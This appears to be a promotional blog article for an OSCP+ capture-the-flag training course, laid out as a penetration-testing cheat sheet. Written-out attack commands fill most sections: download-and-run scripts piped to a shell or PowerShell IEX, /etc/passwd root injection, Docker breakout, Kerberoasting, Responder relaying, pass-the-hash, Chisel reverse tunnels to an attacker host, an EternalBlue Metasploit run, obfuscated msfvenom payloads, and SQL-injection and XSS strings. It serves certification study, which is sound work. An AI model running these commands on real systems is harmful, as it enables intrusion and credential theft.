Introduction:

The OSCP+ exam demands more than theoretical knowledge—it requires raw, practical ability to enumerate, exploit, and pivot through compromised networks under time pressure. To bridge this gap, Ignite Technologies has launched an exclusive Capture The Flag (CTF) practice program that simulates real exam scenarios, covering everything from Linux/Windows privilege escalation to Active Directory attacks and professional report writing.

Learning Objectives:

  • Master Linux and Windows privilege escalation vectors using real-world command-line techniques and automated enumeration scripts.
  • Execute Active Directory attacks including Kerberoasting, LLMNR poisoning, and pass‑the‑hash with tools like Impacket and BloodHound.
  • Develop a structured penetration testing methodology from reconnaissance to pivoting, culminating in a professional-grade report.

You Should Know:

  1. Linux Privilege Escalation – From User to Root
    Start by enumerating the target system. Run `sudo -l` to list allowed sudo commands without a password. Check for SUID binaries with find / -perm -4000 -type f 2>/dev/null. Use `uname -a` to identify kernel version and search for public exploits (e.g., Dirty Pipe, CVE-2021-3156). Deploy LinPEAS for automated auditing:

    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

    If you find a writable /etc/passwd, generate a new root hash with `openssl passwd -1 -salt hacker password` and append it. For Docker breakout, check if you’re inside a container: ls -la /.dockerenv. If so, attempt to mount the host filesystem: docker run -v /:/mnt -it alpine chroot /mnt. These steps mirror the OSCP+ lab environment.

2. Windows Privilege Escalation – Exploiting Misconfigurations

Begin with basic enumeration: `whoami /priv` to list privileges, `systeminfo` for hotfixes, and `net user %username%` for group memberships. Use PowerUp.ps1 to find common service misconfigurations:

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"

If `SeImpersonatePrivilege` is present, exploit PrintSpoofer or JuicyPotato. For unquoted service paths, identify with wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\". Then craft a malicious binary and place it in the vulnerable path. Always verify with `accesschk.exe -uwcqv “Authenticated Users” ` to test write permissions.

3. Active Directory Attacks – Domain Domination

Enumerate AD with BloodHound: run `SharpHound.exe -c All` on a Windows domain-joined machine, then import the zip into BloodHound’s Neo4j database. Identify Kerberoastable accounts using Impacket:

python3 GetUserSPNs.py -request -dc-ip 10.10.10.1 DOMAIN/username

Crack the obtained hash with hashcat -m 13100 kerb_hash.txt rockyou.txt. For LLMNR/NBT‑NS poisoning, deploy Responder:

sudo responder -I eth0 -wrf

Capture NTLMv2 hashes and relay them using ntlmrelayx.py -tf targets.txt -smb2support. For pass‑the‑hash, use psexec.py DOMAIN/[email protected] -hashes :NTLM_hash. These techniques are core to the training’s Active Directory module.

  1. Tunneling & Pivoting – Move Through Restricted Networks
    After compromising a perimeter host, establish a tunnel to access internal subnets. For SSH dynamic port forwarding:

    ssh -D 1080 user@jump_host

    Configure proxychains: edit `/etc/proxychains.conf` to add socks4 127.0.0.1 1080. Then run tools behind the proxy: proxychains nmap -sT -Pn 192.168.1.0/24. For Windows environments, upload Chisel:

    Attacker
./chisel server -p 8000 --reverse
Victim (Windows)
chisel.exe client attacker_ip:8000 R:socks

    Use `socks5 127.0.0.1 1080` in proxychains. This technique is essential for multi‑network CTF challenges and OSCP+ lab pivoting sections.

  2. Web Application Attacks – Exploiting OWASP Top 10
    Manual testing often beats automated scanners. For SQL injection, use `’ OR ‘1’=’1′ –` in login forms, then extract data with UNION SELECT:

    ' UNION SELECT username, password FROM users --

    Use `sqlmap -u “http://target.com/page?id=1” –dbs –batch` for automation. Cross‑site scripting (XSS) can be tested with <script>alert('XSS')</script>. For command injection, try `; ls -la` or | dir. File upload vulnerabilities: upload a PHP reverse shell disguised as a JPEG (add `GIF89a;` header). Always check `robots.txt` and backup files (.bak, .swp). These attacks are covered in the training’s web application module.

6. Password Attacks – Cracking Credentials Efficiently

Start with online password spraying using Hydra:

hydra -L users.txt -P rockyou.txt ssh://10.10.10.1 -t 4 -V

For offline cracking, obtain hashes from `/etc/shadow` (Linux) or SAM/SYSTEM hive (Windows). Use John the Ripper:

john --wordlist=rockyou.txt hash.txt

Use Hashcat for GPU‑accelerated cracking (e.g., NTLM: hashcat -m 1000 ntlm_hash.txt rockyou.txt -O). For NetNTLMv2 captured via Responder, use mode 5600. Create custom wordlists with `cewl http://target.com -m 6 -w custom.txt` and crunch 8 10 abc123 -o wordlist.txt. This systematic approach reduces time during exams.

  1. Vulnerability Scanning & Exploitation – From Nmap to Shell
    Scan all ports with nmap -p- -T4 -Pn 10.10.10.1 -oA full_scan. Then deep scan open ports: nmap -p 22,80,445 -sC -sV -O 10.10.10.1. For SMB, use enum4linux -a 10.10.10.1. After identifying a vulnerability (e.g., EternalBlue), launch Metasploit:

    msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST your_ip
exploit

    If anti‑virus is present, obfuscate payloads with msfvenom -p windows/x64/meterpreter_reverse_https LHOST=your_ip LPORT=443 -f exe -e x86/shikata_ga_nai -i 5 -o shell.exe. Always verify exploit reliability against the target’s patch level.

What Undercode Say:

  • Hands‑on simulation is non‑negotiable – OSCP+ success hinges on muscle memory for enumeration and exploitation. Ignite’s CTF program replicates exam time pressure, forcing candidates to prioritize attack paths.
  • Active Directory is the new battleground – 70% of real‑world breaches involve AD misconfigurations. Training must include Kerberoasting, ACL abuse, and DCSync attacks. The provided labs align with MITRE ATT&CK TA0004 (Privilege Escalation) and TA0008 (Lateral Movement).

Analysis: The demand for structured, exam‑aligned training is exploding as certifications shift from multiple‑choice to fully practical assessments. Ignite’s offering addresses a critical gap: many self‑taught hackers lack guided, time‑boxed practice with instructor feedback. By integrating password attacks, tunneling, and reporting, the course mirrors the OSCP+ exam guide. However, candidates should supplement with additional platforms like Hack The Box Pro Labs and PG Practice to avoid over‑reliance on a single environment.

Prediction:

Within two years, OSCP+ will incorporate cloud‑native attacks (AWS IAM misconfigurations, Azure AD abuse) and AI‑driven defensive evasion. Training providers like Ignite will evolve into hybrid platforms offering live cloud CTFs with automated grading. As penetration testing becomes a prerequisite for compliance (e.g., new SEC rules), the global market for structured exam prep will exceed $500M annually. Candidates who master today’s Active Directory and pivoting techniques will lead tomorrow’s red teams.
